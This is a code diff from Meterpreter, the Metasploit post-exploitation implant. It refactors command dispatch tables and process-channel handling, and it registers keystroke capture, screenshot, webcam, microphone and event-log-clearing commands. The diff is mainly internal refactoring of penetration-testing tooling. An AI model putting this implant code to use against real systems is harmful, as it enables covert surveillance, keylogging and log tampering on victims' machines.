COMMAND_REQ( "stdapi_net_config_get_arp_table", request_net_config_get_arp_table ),
|
||||
COMMAND_REQ( "stdapi_net_config_get_netstat", request_net_config_get_netstat ),
|
||||
|
||||
#ifdef WIN32
|
||||
{ "stdapi_net_config_get_proxy",
|
||||
@ -343,129 +126,48 @@ Command customCommands[] =
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Resolve
|
||||
{ "stdapi_net_resolve_host",
|
||||
{ request_resolve_host, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_net_resolve_hosts",
|
||||
{ request_resolve_hosts, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_net_resolve_host", request_resolve_host ),
|
||||
COMMAND_REQ( "stdapi_net_resolve_hosts", request_resolve_hosts ),
|
||||
#endif
|
||||
|
||||
// Socket
|
||||
{ "stdapi_net_socket_tcp_shutdown",
|
||||
{ request_net_socket_tcp_shutdown, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_net_socket_tcp_shutdown", request_net_socket_tcp_shutdown ),
|
||||
|
||||
#ifdef _WIN32
|
||||
// UI
|
||||
{ "stdapi_ui_enable_mouse",
|
||||
{ request_ui_enable_mouse, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_enable_keyboard",
|
||||
{ request_ui_enable_keyboard, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_get_idle_time",
|
||||
{ request_ui_get_idle_time, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_start_keyscan",
|
||||
{ request_ui_start_keyscan, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_stop_keyscan",
|
||||
{ request_ui_stop_keyscan, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_get_keys",
|
||||
{ request_ui_get_keys, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_desktop_enum",
|
||||
{ request_ui_desktop_enum, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_desktop_get",
|
||||
{ request_ui_desktop_get, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_desktop_set",
|
||||
{ request_ui_desktop_set, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_ui_desktop_screenshot",
|
||||
{ request_ui_desktop_screenshot, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_ui_enable_mouse", request_ui_enable_mouse ),
|
||||
COMMAND_REQ( "stdapi_ui_enable_keyboard", request_ui_enable_keyboard ),
|
||||
COMMAND_REQ( "stdapi_ui_get_idle_time", request_ui_get_idle_time ),
|
||||
COMMAND_REQ( "stdapi_ui_start_keyscan", request_ui_start_keyscan ),
|
||||
COMMAND_REQ( "stdapi_ui_stop_keyscan", request_ui_stop_keyscan ),
|
||||
COMMAND_REQ( "stdapi_ui_get_keys", request_ui_get_keys ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_enum", request_ui_desktop_enum ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_get", request_ui_desktop_get ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_set", request_ui_desktop_set ),
|
||||
COMMAND_REQ( "stdapi_ui_desktop_screenshot", request_ui_desktop_screenshot ),
|
||||
|
||||
// Event Log
|
||||
{ "stdapi_sys_eventlog_open",
|
||||
{ request_sys_eventlog_open, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_eventlog_numrecords",
|
||||
{ request_sys_eventlog_numrecords, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_eventlog_read",
|
||||
{ request_sys_eventlog_read, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_eventlog_oldest",
|
||||
{ request_sys_eventlog_oldest, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_eventlog_clear",
|
||||
{ request_sys_eventlog_clear, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "stdapi_sys_eventlog_close",
|
||||
{ request_sys_eventlog_close, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_open", request_sys_eventlog_open ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_numrecords", request_sys_eventlog_numrecords ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_read", request_sys_eventlog_read ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_oldest", request_sys_eventlog_oldest ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_clear", request_sys_eventlog_clear ),
|
||||
COMMAND_REQ( "stdapi_sys_eventlog_close", request_sys_eventlog_close ),
|
||||
|
||||
{ "stdapi_sys_power_exitwindows",
|
||||
{ request_sys_power_exitwindows, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Power
|
||||
COMMAND_REQ( "stdapi_sys_power_exitwindows", request_sys_power_exitwindows ),
|
||||
|
||||
// Webcam
|
||||
{ "webcam_list",
|
||||
{ request_webcam_list, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
{ "webcam_start",
|
||||
{ request_webcam_start, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
{ "webcam_get_frame",
|
||||
{ request_webcam_get_frame, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
{ "webcam_stop",
|
||||
{ request_webcam_stop, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "webcam_list", request_webcam_list ),
|
||||
COMMAND_REQ( "webcam_start", request_webcam_start ),
|
||||
COMMAND_REQ( "webcam_get_frame", request_webcam_get_frame ),
|
||||
COMMAND_REQ( "webcam_stop", request_webcam_stop ),
|
||||
|
||||
// Audio
|
||||
{ "webcam_audio_record",
|
||||
{ request_ui_record_mic, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "webcam_audio_record", request_ui_record_mic ),
|
||||
|
||||
#endif
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
@ -481,15 +183,7 @@ DWORD InitServerExtension(Remote *remote)
|
||||
#ifdef _WIN32
|
||||
hMetSrv = remote->hMetSrv;
|
||||
#endif
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
{
|
||||
dprintf("Registering command index %d", index);
|
||||
dprintf(" Command: %s", customCommands[index].method);
|
||||
dprintf(" Register: 0x%.8x", command_register);
|
||||
command_register(&customCommands[index]);
|
||||
}
|
||||
command_register_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -503,12 +197,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
DWORD DeinitServerExtension(Remote *remote)
|
||||
#endif
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_deregister_all( customCommands );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -176,6 +176,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL;
|
||||
LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL;
|
||||
HMODULE hUserEnvLib = NULL;
|
||||
ProcessChannelContext * ctx = NULL;
|
||||
|
||||
dprintf( "[PROCESS] request_sys_process_execute" );
|
||||
|
||||
@ -258,7 +259,6 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
|
||||
{
|
||||
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
|
||||
ProcessChannelContext * ctx = NULL;
|
||||
PoolChannelOps chops;
|
||||
Channel *newChannel;
|
||||
|
||||
@ -272,6 +272,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
memset(&chops, 0, sizeof(PoolChannelOps));
|
||||
|
||||
// Initialize the channel operations
|
||||
dprintf( "[PROCESS] context address 0x%p", ctx );
|
||||
chops.native.context = ctx;
|
||||
chops.native.write = process_channel_write;
|
||||
chops.native.close = process_channel_close;
|
||||
@ -559,6 +560,15 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
// failed but return a process id and this will throw off the ruby side.
|
||||
if( result == ERROR_SUCCESS )
|
||||
{
|
||||
// if we managed to successfully create a channelized process, we need to retain
|
||||
// a handle to it so that we can shut it down externally if required.
|
||||
if ( flags & PROCESS_EXECUTE_FLAG_CHANNELIZED
|
||||
&& ctx != NULL )
|
||||
{
|
||||
dprintf( "[PROCESS] started process 0x%x", pi.hProcess );
|
||||
ctx->pProcess = pi.hProcess;
|
||||
}
|
||||
|
||||
// Add the process identifier to the response packet
|
||||
packet_add_tlv_uint(response, TLV_TYPE_PID, pi.dwProcessId);
|
||||
|
||||
@ -600,6 +610,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
int idx, i;
|
||||
pid_t pid;
|
||||
int have_pty = -1;
|
||||
ProcessChannelContext * ctx = NULL;
|
||||
|
||||
int hidden = (flags & PROCESS_EXECUTE_FLAG_HIDDEN);
|
||||
|
||||
@ -650,7 +661,6 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
// such that input can be directed to and from the remote endpoint
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
|
||||
{
|
||||
ProcessChannelContext * ctx = NULL;
|
||||
PoolChannelOps chops;
|
||||
Channel *newChannel;
|
||||
|
||||
@ -664,6 +674,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
memset(&chops, 0, sizeof(PoolChannelOps));
|
||||
|
||||
// Initialize the channel operations
|
||||
dprintf( "[PROCESS] context address 0x%p", ctx );
|
||||
chops.native.context = ctx;
|
||||
chops.native.write = process_channel_write;
|
||||
chops.native.close = process_channel_close;
|
||||
@ -788,6 +799,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
if(have_pty) {
|
||||
dprintf("child channelized\n");
|
||||
close(slave);
|
||||
ctx->pProcess = (HANDLE)pid;
|
||||
} else {
|
||||
close(in[0]);
|
||||
close(out[1]);
|
||||
@ -1030,20 +1042,22 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
|
||||
*
|
||||
* FIXME: can-block
|
||||
*/
|
||||
DWORD process_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
|
||||
DWORD process_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
dprintf("[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx);
|
||||
|
||||
#ifdef _WIN32
|
||||
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
|
||||
result = GetLastError();
|
||||
#else
|
||||
if ((*bytesRead = read(ctx->pStdout, buffer, bufferSize)) < 0) {
|
||||
if ( (*bytesRead = read( ctx->pStdout, buffer, bufferSize )) < 0 ) {
|
||||
result = GetLastError();
|
||||
// Always return zero bytes read on error
|
||||
*bytesRead = 0;
|
||||
}
|
||||
#endif
|
||||
return result;
|
||||
@ -1053,19 +1067,19 @@ DWORD process_channel_read(Channel *channel, Packet *request,
|
||||
* Writes data from the remote half of the channel to the process's standard
|
||||
* input handle
|
||||
*/
|
||||
DWORD process_channel_write(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten)
|
||||
DWORD process_channel_write( Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesWritten )
|
||||
{
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
#ifdef _WIN32
|
||||
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL))
|
||||
if ( !WriteFile( ctx->pStdin, buffer, bufferSize, bytesWritten, NULL ) )
|
||||
result = GetLastError();
|
||||
|
||||
#else
|
||||
if((*bytesWritten = write(ctx->pStdin, buffer, bufferSize)) < 0) {
|
||||
if( (*bytesWritten = write( ctx->pStdin, buffer, bufferSize )) < 0 ) {
|
||||
result = GetLastError();
|
||||
}
|
||||
#endif
|
||||
@ -1075,38 +1089,74 @@ DWORD process_channel_write(Channel *channel, Packet *request,
|
||||
/*
|
||||
* Closes the channels that were opened to the process.
|
||||
*/
|
||||
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
|
||||
DWORD process_channel_close( Channel *channel, Packet *request, LPVOID context )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
if (channel_is_interactive(channel))
|
||||
scheduler_remove_waitable(ctx->pStdout);
|
||||
|
||||
if ( ctx->pProcess != NULL ) {
|
||||
dprintf( "[PROCESS] channel has an attached process, closing via scheduler signal. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
scheduler_signal_waitable( ctx->pStdout, Stop );
|
||||
} else {
|
||||
#ifdef _WIN32
|
||||
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
|
||||
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
|
||||
// will have undefined behaviour. The interactive thread will close the handle instead.
|
||||
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
|
||||
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
|
||||
// will have undefined behaviour. The interactive thread will close the handle instead.
|
||||
|
||||
CloseHandle(ctx->pStdin);
|
||||
CloseHandle( ctx->pStdin );
|
||||
CloseHandle( ctx->pStdout );
|
||||
#else
|
||||
close(ctx->pStdin);
|
||||
close( ctx->pStdin );
|
||||
close( ctx->pStdout );
|
||||
#endif
|
||||
|
||||
free(ctx);
|
||||
free( ctx );
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD process_channel_interact_destroy( HANDLE waitable, LPVOID entryContext, LPVOID threadContext )
|
||||
{
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[PROCESS] terminating context 0x%p", ctx );
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
CloseHandle( ctx->pStdin );
|
||||
CloseHandle( ctx->pStdout );
|
||||
|
||||
if( ctx->pProcess ) {
|
||||
dprintf( "[PROCESS] terminating process 0x%x", ctx->pProcess );
|
||||
TerminateProcess( ctx->pProcess, 0 );
|
||||
}
|
||||
#else
|
||||
close( ctx->pStdin );
|
||||
close( ctx->pStdout );
|
||||
|
||||
dprintf( "[PROCESS] pid %u", ctx->pProcess );
|
||||
if( ctx->pProcess ) {
|
||||
dprintf( "[PROCESS] terminating pid %u", ctx->pProcess );
|
||||
kill( (pid_t)ctx->pProcess, 9 );
|
||||
}
|
||||
#endif
|
||||
|
||||
free( ctx );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Callback for when data is available on the standard output handle of
|
||||
* a process channel that is interactive mode
|
||||
*/
|
||||
DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
|
||||
DWORD process_channel_interact_notify(Remote *remote, LPVOID entryContext, LPVOID threadContext)
|
||||
{
|
||||
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)channel->ops.stream.native.context;
|
||||
Channel *channel = (Channel*)entryContext;
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)threadContext;
|
||||
DWORD bytesRead, bytesAvail = 0;
|
||||
CHAR buffer[16384];
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
@ -1174,10 +1224,16 @@ DWORD process_channel_interact(Channel *channel, Packet *request, LPVOID context
|
||||
|
||||
// If the remote side wants to interact with us, schedule the stdout handle
|
||||
// as a waitable item
|
||||
if (interact)
|
||||
result = scheduler_insert_waitable(ctx->pStdout, channel, (WaitableNotifyRoutine)process_channel_interact_notify);
|
||||
else // Otherwise, remove it
|
||||
result = scheduler_remove_waitable(ctx->pStdout);
|
||||
if (interact) {
|
||||
// try to resume it first, if it's not there, we can create a new entry
|
||||
if( (result = scheduler_signal_waitable( ctx->pStdout, Resume )) == ERROR_NOT_FOUND ) {
|
||||
result = scheduler_insert_waitable( ctx->pStdout, channel, context,
|
||||
(WaitableNotifyRoutine)process_channel_interact_notify,
|
||||
(WaitableDestroyRoutine)process_channel_interact_destroy );
|
||||
}
|
||||
} else { // Otherwise, pause it
|
||||
result = scheduler_signal_waitable( ctx->pStdout, Pause );
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
@ -8,6 +8,7 @@ typedef struct _ProcessChannelContext
|
||||
{
|
||||
HANDLE pStdin;
|
||||
HANDLE pStdout;
|
||||
HANDLE pProcess;
|
||||
} ProcessChannelContext;
|
||||
|
||||
DWORD process_channel_read(Channel *channel, Packet *request,
|
||||
|
@ -386,7 +386,7 @@ DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request )
|
||||
dprintf( "[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine );
|
||||
|
||||
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
|
||||
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response );
|
||||
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response, NULL );
|
||||
if( !pPipeThread )
|
||||
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,33 +1,17 @@
|
||||
/*!
|
||||
* @file webcam.h
|
||||
* @brief Contains webcam interaction function declarations.
|
||||
*/
|
||||
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
|
||||
|
||||
#include "audio.h"
|
||||
|
||||
#define TLV_TYPE_EXTENSION_WEBCAM 0
|
||||
|
||||
#define TLV_TYPE_WEBCAM_IMAGE \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_RAW, \
|
||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
||||
TLV_EXTENSIONS + 1)
|
||||
|
||||
#define TLV_TYPE_WEBCAM_INTERFACE_ID \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
||||
TLV_EXTENSIONS + 2)
|
||||
|
||||
#define TLV_TYPE_WEBCAM_QUALITY \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_UINT, \
|
||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
||||
TLV_EXTENSIONS + 3)
|
||||
|
||||
#define TLV_TYPE_WEBCAM_NAME \
|
||||
MAKE_CUSTOM_TLV( \
|
||||
TLV_META_TYPE_STRING, \
|
||||
TLV_TYPE_EXTENSION_WEBCAM, \
|
||||
TLV_EXTENSIONS + 4)
|
||||
#define TLV_TYPE_WEBCAM_IMAGE MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 1)
|
||||
#define TLV_TYPE_WEBCAM_INTERFACE_ID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 2)
|
||||
#define TLV_TYPE_WEBCAM_QUALITY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 3)
|
||||
#define TLV_TYPE_WEBCAM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_WEBCAM, TLV_EXTENSIONS + 4)
|
||||
|
||||
DWORD request_webcam_list(Remote *remote, Packet *packet);
|
||||
DWORD request_webcam_start(Remote *remote, Packet *packet);
|
||||
|
@ -30,12 +30,14 @@
|
||||
#endif
|
||||
|
||||
DWORD server_setup(SOCKET fd);
|
||||
typedef DWORD (*PSRVINIT)(Remote *remote);
|
||||
typedef DWORD (*PSRVDEINIT)(Remote *remote);
|
||||
|
||||
typedef struct _EXTENSION
|
||||
{
|
||||
HMODULE library;
|
||||
DWORD (*init)(Remote *remote);
|
||||
DWORD (*deinit)(Remote *remote);
|
||||
PSRVINIT init;
|
||||
PSRVDEINIT deinit;
|
||||
} EXTENSION;
|
||||
|
||||
#endif
|
||||
|
@ -12,19 +12,10 @@ extern HINSTANCE hAppInstance;
|
||||
LIST * extension_list = NULL;
|
||||
|
||||
// Dispatch table
|
||||
Command custom_commands[] =
|
||||
Command customCommands[] =
|
||||
{
|
||||
{
|
||||
"core_loadlib",
|
||||
{ request_core_loadlib, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REQ( "core_loadlib", request_core_loadlib ),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
@ -36,8 +27,7 @@ VOID register_dispatch_routines()
|
||||
|
||||
extension_list = list_create();
|
||||
|
||||
for( index=0 ; custom_commands[index].method ; index++ )
|
||||
command_register( &custom_commands[index] );
|
||||
command_register_all( customCommands );
|
||||
}
|
||||
|
||||
/*
|
||||
@ -58,8 +48,7 @@ VOID deregister_dispatch_routines( Remote * remote )
|
||||
free( extension );
|
||||
}
|
||||
|
||||
for( index=0 ; custom_commands[index].method ; index++ )
|
||||
command_deregister( &custom_commands[index] );
|
||||
command_deregister_all( customCommands );
|
||||
|
||||
list_destroy( extension_list );
|
||||
}
|
||||
|
@ -355,11 +355,10 @@ static DWORD server_dispatch( Remote * remote )
|
||||
break;
|
||||
}
|
||||
|
||||
cpt = thread_create( command_process_thread, remote, packet );
|
||||
if( cpt )
|
||||
if( !command_handle( remote, packet ) )
|
||||
{
|
||||
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
|
||||
thread_run( cpt );
|
||||
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if( result < 0 )
|
||||
@ -502,12 +501,11 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
|
||||
|
||||
dprintf("[DISPATCH] Returned result: %d", result);
|
||||
|
||||
cpt = thread_create( command_process_thread, remote, packet );
|
||||
if( cpt )
|
||||
if( !command_handle( remote, packet ) )
|
||||
{
|
||||
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
|
||||
thread_run( cpt );
|
||||
}
|
||||
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Close WinInet handles
|
||||
|
@ -102,13 +102,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
||||
// if the library was loaded via its reflective loader we must use GetProcAddressR()
|
||||
if( bLibLoadedReflectivly )
|
||||
{
|
||||
extension->init = (LPVOID)GetProcAddressR( extension->library, "InitServerExtension" );
|
||||
extension->deinit = (LPVOID)GetProcAddressR( extension->library, "DeinitServerExtension" );
|
||||
extension->init = (PSRVINIT)GetProcAddressR( extension->library, "InitServerExtension" );
|
||||
extension->deinit = (PSRVDEINIT)GetProcAddressR( extension->library, "DeinitServerExtension" );
|
||||
}
|
||||
else
|
||||
{
|
||||
extension->init = (LPVOID)GetProcAddress( extension->library, "InitServerExtension" );
|
||||
extension->deinit = (LPVOID)GetProcAddress( extension->library, "DeinitServerExtension" );
|
||||
extension->init = (PSRVINIT)GetProcAddress( extension->library, "InitServerExtension" );
|
||||
extension->deinit = (PSRVDEINIT)GetProcAddress( extension->library, "DeinitServerExtension" );
|
||||
}
|
||||
|
||||
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading
|
||||
|
@ -652,6 +652,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\stdapi\server\precomp.h" />
|
||||
<ClInclude Include="..\..\source\extensions\stdapi\server\sys\config\config.h" />
|
||||
<ClInclude Include="..\..\source\extensions\stdapi\stdapi.h" />
|
||||
<ClInclude Include="..\..\source\extensions\stdapi\server\net\net.h" />
|
||||
<ClInclude Include="..\..\source\extensions\stdapi\server\net\socket\tcp.h" />
|
||||
|
Loading…
x
Reference in New Issue
Block a user